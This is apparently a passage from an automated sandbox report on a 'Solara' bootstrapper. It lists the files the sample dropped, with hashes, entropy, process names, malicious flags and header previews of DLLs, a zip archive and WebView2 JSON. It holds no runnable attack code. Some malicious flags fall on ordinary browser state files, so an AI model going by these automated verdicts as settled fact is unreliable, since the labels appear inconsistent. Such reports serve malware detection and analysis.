10","stats_version":"117.0.2045.47-64","system_crash_count":0}}}

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Local State~RF4db2bf.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	951
Entropy (8bit):	5.730747575616275
Encrypted:	false
SSDEEP:	24:YKWJu5rrtY1ZncmcDjDBBoaeCTWOxW/bvX3JQQRCYfYg:Yqf6Zncm4jDBBoZUxWTvneB0
MD5:	2EFF55AAF65912D80B67E548A8294A3F
SHA1:	3B9455071806F53BF6B6E0669AFBF53ED1BE3A89
SHA-256:	8614F80820D275D37462F7AC970CAC6720D9C7E56533C9145D31DE2AC6E53CEC
SHA-512:	8D3DABE5FD49A7ECD96DDE2B9CD535990CC967A13828DA3CCF3C752932804BBCC3178A3C1826CF347399708CD08A682FE10755B938160C7DD6B6AFEB1710BC1C
Malicious:	true
Preview:	{"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABNzcqLavsTR7+5t8HFE0TdEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAC8QMPOksqKixKokWq+QZ/A7aFUPyifq/5Xy1YdHP5rZgAAAAAOgAAAAAIAACAAAACQBuQCyjLnzW3jud0mIgDzKKT24mLQ6qpd8HfrxLH1zzAAAABH0C8ypVdVL6duCgYinmDg633r2n+uYVbJ3qfUiKAsfyx7LPlAabNvodZg5U2MAy9AAAAAJeGoK22tqJaE0rxW0xCv30vMd/hQe1xHbpNxUR2ubxgD1HMYLuqf96k/dSJLliz+X2W45wnWmiuvttcgu/u7xA=="},"uninstall_metrics":{"installation_date2":"1719671426"},"user_experience_metrics":{"client_id2":"{F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}C:\\Users\\user0s:92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A","diagnostics":{"last_data_collection_level_on_launch":1},"low_entropy_source3":2938,"pseudo_low_entropy_source":6950,"reset_client_id_deterministic":true,"stability":{"browser_last_live_timestamp":"13364145026848556","stats_buildtime":"1695934310","stats_version":"117.0.2045.47-64","system_crash_count":0}}}

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\ShaderCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\ShaderCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\ShaderCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\ShaderCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\ShaderCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNlpb:Ls3p
MD5:	6E0FB5F44AF78C8FAA2AED1E5F93D9AA
SHA1:	48EE8053E016368F24E44CC213EA11F957A7CDBB
SHA-256:	1B2DB04C43551EFBD200652901B7FBA20891C42BE30321CD2CCB415B8A8CD5A9
SHA-512:	C26BA027177E01B176137E63E2CA939438BCD465A371BAC71ADE20FF32F52598D53B38F0E52A281901161EF09AE2E6E7A5606A87D70BBF06DA92E5A7A6BA336B
Malicious:	true
Preview:	...........................................}.z/.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.3488360343066725
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ25AmIpozQan:YQ3Kq9X0dMgAEiLIM
MD5:	BC6142469CD7DADF107BE9AD87EA4753
SHA1:	72A9AA05003FAB742B0E4DC4C5D9EDA6B9F7565C
SHA-256:	B26DA4F8C7E283AA74386DA0229D66AF14A37986B8CA828E054FC932F68DD557
SHA-512:	47D1A67A16F5DC6D50556C5296E65918F0A2FCAD0E8CEE5795B100FE8CD89EAF5E1FD67691E8A57AF3677883A5D8F104723B1901D11845B286474C8AC56F6182
Malicious:	true
Preview:	{"user_experience_metrics.stability.exited_cleanly":true,"variations_crash_streak":0}

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\ab37e710-8e8b-4b94-bc99-4496f1afe7f6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2900
Entropy (8bit):	5.2996450127599415
Encrypted:	false
SSDEEP:	48:YDEFMsFiHGS0af6Zncm4jDu3p8QSh/cIgwLURMYXylVotoWa5K1DuvHB+fdrxrBG:PNkGS1f6ZCjDu58rh/cI9URoDotoTlBT
MD5:	F9D5D779BFD4A5703C9CCB28E75CE4E9
SHA1:	ABDD71A1ED1CEED55419687A22121BFB889A988D
SHA-256:	2900A3E2D7712E398A474543298BE049B5CD0887726B2DE9968BFD3082895863
SHA-512:	76F4DD78D84D0E729B7DCD0864AF99A6819A987B55DC4FF24C19A55F9B22ECC034CF027F14581D9D8DB2A4DA77ABAA1C529D56182478A17E10E1D9D7C98A0297
Malicious:	true
Preview:	{"dual_engine":{"ie_to_edge":{"redirection_mode":0}},"edge":{"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"fre":{"oem_bookmarks_set":true},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABNzcqLavsTR7+5t8HFE0TdEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAC8QMPOksqKixKokWq+QZ/A7aFUPyifq/5Xy1YdHP5rZgAAAAAOgAAAAAIAACAAAACQBuQCyjLnzW3jud0mIgDzKKT24mLQ6qpd8HfrxLH1zzAAAABH0C8ypVdVL6duCgYinmDg633r2n+uYVbJ3qfUiKAsfyx7LPlAabNvodZg5U2MAy9AAAAAJeGoK22tqJaE0rxW0xCv30vMd/hQe1xHbpNxUR2ubxgD1HMYLuqf96k/dSJLliz+X2W45wnWmiuvttcgu/u7xA=="},"policy":{"last_statistics_update":"13364145027032428"},"profile":{"info_cache":{"Default":{"avatar_icon":"chrome://t

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\ba3721d6-fab3-443a-9f76-cca21ac01b43.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\117.0.2045.47\msedgewebview2.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2053
Entropy (8bit):	5.467207786208174
Encrypted:	false
SSDEEP:	48:YDEFMsFiHC0af6Zncm4jDuw5nugHB+fdrxrBoZUtRWTTneBG/d2a:PNkC1f6ZCjDu+XBANSZiUTneI4a
MD5:	643EE886B202532E4C496C7E275E2504
SHA1:	6B9B3A8A7D1D33FA74F062A6ABEC42E568EE4048
SHA-256:	70CCBF01C6E55723516FCD5AD251F0D33190A6894FC6EFF4C61FA6F7883F6A0F
SHA-512:	9D7CB37F98292B52813296FEBB6E8FD8C5EFF4DE4EC5D44428C56167912417BD22CAD0F683355D15CC3314E618A827EC9D5DEA1E179C5D901F01A2A1D644C86F
Malicious:	true
Preview:	{"dual_engine":{"ie_to_edge":{"redirection_mode":0}},"edge":{"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABNzcqLavsTR7+5t8HFE0TdEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAC8QMPOksqKixKokWq+QZ/A7aFUPyifq/5Xy1YdHP5rZgAAAAAOgAAAAAIAACAAAACQBuQCyjLnzW3jud0mIgDzKKT24mLQ6qpd8HfrxLH1zzAAAABH0C8ypVdVL6duCgYinmDg633r2n+uYVbJ3qfUiKAsfyx7LPlAabNvodZg5U2MAy9AAAAAJeGoK22tqJaE0rxW0xCv30vMd/hQe1xHbpNxUR2ubxgD1HMYLuqf96k/dSJLliz+X2W45wnWmiuvttcgu/u7xA=="},"policy":{"last_statistics_update":"13364145027032428"},"profile":{"info_cache":{},"profile_counts_reported":"13364145027039371","profiles_order":[]},

C:\Users\user\AppData\Local\Temp\Solara.Dir\cpr.dll

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	821760
Entropy (8bit):	6.046120172014024
Encrypted:	false
SSDEEP:	6144:AOS6x0q6x9xNt587J72oHDH6CpoucA8OdtrFxU:TS6xp7lFR8ODE
MD5:	203400107A2717D8F4F00A7DF6969739
SHA1:	AADDE2FD6E8E363960D13DE1D603A63E56C0C2E9
SHA-256:	6F6DE861D4ADD275621FF52ED1695F691EFD7ED742D4B077CE43EB96F2C5CFBA
SHA-512:	4905829EBB3EEE6F7B2F6B4B97E20510F7565DD64F224E3AFBD826C62C33A57229E15349B463E9AE1B47B8BFCDD9C58F047A15488DD00FB8C702E6F4FB64CD4A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........2.F.S...S...S...+\..S..P....S..P....S..P....S..P....S...+...S......S...S..MS..a....S......S...0..S......S..Rich.S..........................PE..d....VIf.........." .....H...D......8+....................................................`..................................................................p...A..............4....{.......................\|..(....z..@............`..h............................text.../F.......H.................. ..`.rdata.......`.......L..............@..@.data....#...@.......$..............@....pdata...A...p...B...B..............@..@.rsrc...............................@..@.reloc..4...........................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Solara.Dir\libcurl.dll

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	535040
Entropy (8bit):	6.393831638925329
Encrypted:	false
SSDEEP:	12288:InAnSwPc/1BzyLmI2MB1MqcUfCKHU1XAfK6ae:I6Pc/1BOKtaeqcUaZXm
MD5:	E31F5136D91BAD0FCBCE053AAC798A30
SHA1:	EE785D2546AEC4803BCAE08CDEBFD5D168C42337
SHA-256:	EE94E2201870536522047E6D7FE7B903A63CD2E13E20C8FFFC86D0E95361E671
SHA-512:	A1543EB1D10D25EFB44F9EAA0673C82BFAC5173055D04C0F3BE4792984635A7C774DF57A8E289F840627754A4E595B855D299070D469E0F1E637C3F35274ABE6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......{-..?LtU?LtU?LtU64.U-LtU_6uT=LtU_6.U7LtU_6qT2LtU_6pT7LtU_6wT;LtU[6uT=LtU?LuU.LtUt4uT4LtU[6pT.LtU[6tT>LtU[6.U>LtU?L.U>LtU[6vT>LtURich?LtU........PE..d...._.e.........." ... ............0........................................`............`....................................................T....@...........K...........P..x... F..T............................D..@............0..p............................text............................... ..`.rdata.."....0......................@..@.data...(/.......&..................@....pdata...K.......L..................@..@.rsrc........@......................@..@.reloc..x....P....... ..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Solara.Dir\msvcp140.dll

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	590112
Entropy (8bit):	6.461915792957004
Encrypted:	false
SSDEEP:	12288:RI88L4Wu4+oJ+xc39ax5Ms4ETs3rxSvYcRvbQEKZm+jWodEEVhQ:RD89rxZCQEKZm+jWodEEPQ
MD5:	7B92A6CB5D2CAD407C457AB12D2B211D
SHA1:	E04020B3448FC6084FA31B7F791F22FF15E31328
SHA-256:	3C6A772319FFF3EE56D4CEDBE332BB5C0C2F394714CF473C6CDF933754114784
SHA-512:	B28740C1ACA4F0F60A9E4A9AB5A0561AF774D977AB6D42A7EEA70C9E560C77C50BE5D9D869F05D0435E2923F4F600219335D22425807AB23CBBCDA75442C4B42
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........LS..-=..-=..-=.....-=..U...-=..-<.k-=.gB<..-=.gB9..-=.gB>..-=.gB8.=-=.gB=..-=.gB..-=.gB?..-=.Rich.-=.........PE..d....).^.........." .....@..........."...............................................&....`A.........................................j..h....D..,...............L;...... A......(...@...8...............................0............P.......f..@....................text...,>.......@.................. ..`.rdata..r....P.......D..............@..@.data....:...`..."...N..............@....pdata..L;.......<...p..............@..@.didat..h...........................@....rsrc...............................@..@.reloc..(...........................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Solara.Dir\vcruntime140.dll

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	101664
Entropy (8bit):	6.571798459921823
Encrypted:	false
SSDEEP:	1536:sC6b39cL/iRDhXq4GZLAy10i5XNC83tTPw98APXbxecbSQ25I4I/Cq:sVPphXq30yvXL5APbxecbSDu
MD5:	7A2B8CFCD543F6E4EBCA43162B67D610
SHA1:	C1C45A326249BF0CCD2BE2FBD412F1A62FB67024
SHA-256:	7D7CA28235FBA5603A7F40514A552AC7EFAA67A5D5792BB06273916AA8565C5F
SHA-512:	E38304FB9C5AF855C1134F542ADF72CDE159FAB64385533EAFA5BB6E374F19B5A29C0CB5516FC5DA5C0B5AC47C2F6420792E0AC8DDFF11E749832A7B7F3EB5C8
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......!/.NeNl.eNl.eNl....gNl.l6..nNl.eNm.INl..>o.hNl..>h.uNl..>i.zNl..>l.dNl..>..dNl..>n.dNl.RicheNl.................PE..d....Y._.........." .........^......p.....................................................`A........................................`1..4....9.......p.......P.......L.. A..........H...T...............................0............................................text............................... ..`.rdata...?.......@..................@..@.data...0....@.......4..............@....pdata.......P.......8..............@..@_RDATA.......`.......D..............@..@.rsrc........p.......F..............@..@.reloc...............J..............@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Solara.Dir\ws2_32.dll

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	426688
Entropy (8bit):	6.149945537615476
Encrypted:	false
SSDEEP:	6144:0LYcepnIinzqyUMCLJ16iYRrKWr3GIIGepi6/GDQez5NzLJpyM7BVl7+jBSEYdRU:5d+iiYxKdns6+Dl5NpdqmU
MD5:	F1FAFC04216614EC5C7B8C6A82394DFD
SHA1:	5B6966D9AF7BCF687AAB982C26EFE1C2ADFAFF18
SHA-256:	7E412388C871F5F1D1651DA11689EB82A7E4C5785409EC2753CFC4BE484D910E
SHA-512:	0828267F5036B105982B2FC351C1C40D06AE4853ACE76F131DC44D8DEC0F9281B4FECAB52CE273E2D9DE06B95B8CE47AF093689B9F9304DE3577D47A3853F599
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........z!U..O...O...O..pN...O..pL...O..pK...O..c....O...N.I.O..pO...O..pB...O..p....O..pM...O.Rich..O.................PE..d......I.........." .....4...$.......C...................................................`A........................................@...X....................0...0...R...0......P....p..T............................P..............@Z......d........................text............................... ..`.wpp_sf.2/... ...0.................. ..`.rdata.......P.......8..............@..@.data........ ......................@....pdata...0...0...2..................@..@.didat.......p.......:..............@....rsrc................<..............@..@.reloc..P............P..............@..B................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Solara.Dir\zlib1.dll

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	116428
Entropy (8bit):	6.4010071863984805
Encrypted:	false
SSDEEP:	3072:wsuxy/bjdeT1dtDCV8SSsfj7cTpHTBfQjxcHE2Fl:wsZ/bRe5PDCV8SLfcFTBIjxyE2Fl
MD5:	75365924730B0B2C1A6EE9028EF07685
SHA1:	A10687C37DEB2CE5422140B541A64AC15534250F
SHA-256:	945E7F5D09938B7769A4E68F4EF01406E5AF9F40DB952CBA05DDB3431DD1911B
SHA-512:	C1E31C18903E657203AE847C9AF601B1EB38EFA95CB5FA7C1B75F84A2CBA9023D08F1315C9BB2D59B53256DFDB3BAC89930252138475491B21749471ADC129A1
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...........1.....&"...#.6..........P..........A.............................@.......Y....`... ..............................................................................0.................................(.......................h............................text....5.......6..................`.P`.data........P.......:..............@.P..rdata..@U...`...V...<..............@.`@.pdata..............................@.0@.xdata..h...........................@.0@.bss..................................`..edata..............................@.0@.idata..............................@.0..CRT....X...........................@.@..tls......... ......................@.@..reloc.......0......................@.0B........................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Solara.zip

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	13705973
Entropy (8bit):	7.997936239494186
Encrypted:	true
SSDEEP:	196608:Mv2MVCamdRGeWmohL13e+cetqdsz6N6n533xjnBKGewxVeA4bLljlNVhtGcLcTBy:Mv7VCamSeRohL1q+uwIWgnJJNV/GybGQ
MD5:	1C53AD627BAD990DC76AE17EFAF7BE93
SHA1:	3FD84183F5953106AAEF6B0F5EDD2F058B074E2C
SHA-256:	8691F4CBE985FF4AD3559E3D9183FFA5E706695533FFE775DBC70080AFF420C3
SHA-512:	9B894D1D81A1E6773798F022C7021B86CD650C45FA019284038FF32B936EB4857F9DCB46FDB7C74890F895C642B6E49894E705F152B893C1CAEF396ECE7818CC
Malicious:	false
Preview:	PK........XR.X.4.c.+..(`..,...Solara.Dir/api-ms-win-crt-convert-l1-1-0.dll.y\|L....,Id...D.Db7..l%d..I$.T..df.....%.....N....ZZJ.ZCi..=..UK.E.v...;..o......^......9.9.Y.s...G8...x....D.........d.......9%r..L.V.Ky..R....e<.N.+y...R.T...[.......\|....).-h.....t.\|}...g.%%t=[_2........J..>..sg{.d..-{3..1.&..a.X.L..,..h.~.L....z.".n+..P..cQ.'.G....r........bB.[..Cm..u....!j.ZB..Q.:.sd.G.{.............z....~.....:..7.......^5..d.g.....+..gO\&.j..r%_...%e...B...2i...o}_.M...T..0a.............G3...)...h..qL2!qp...-!....D.m..!- ..KH....\|....WA3h...H.c....\|...K.1..s..$.......=.'p.p:....A.P.9`.8..~...C.....@#..\;....\|....Z./p.....@...P....s'B..A@.....[p.<.-:..0....0.\|.....9p.p....".0..5`%..\././..>H...x0.....y....b}..0....6p....... ...*0...;.)p.t.:..9`.....7.g..xa.{..P.&...s.......XC....@.....k....+..k.........{p..... .H@5....`.;.7.0..S........_.g4..:..\|..g..k....I`9h.'.-@.~.@...R0.,...~....^..XG>H....X.....}..5..b@......`'8...w.c0....$..l...e...`.C.PP

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_33uem40q.a3x.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4g4cnxzx.msn.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4omn4ao1.0y2.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_54d10p40.1od.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ayr0clom.b0k.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b2s0o5qb.pi4.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c5yfkebh.41g.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
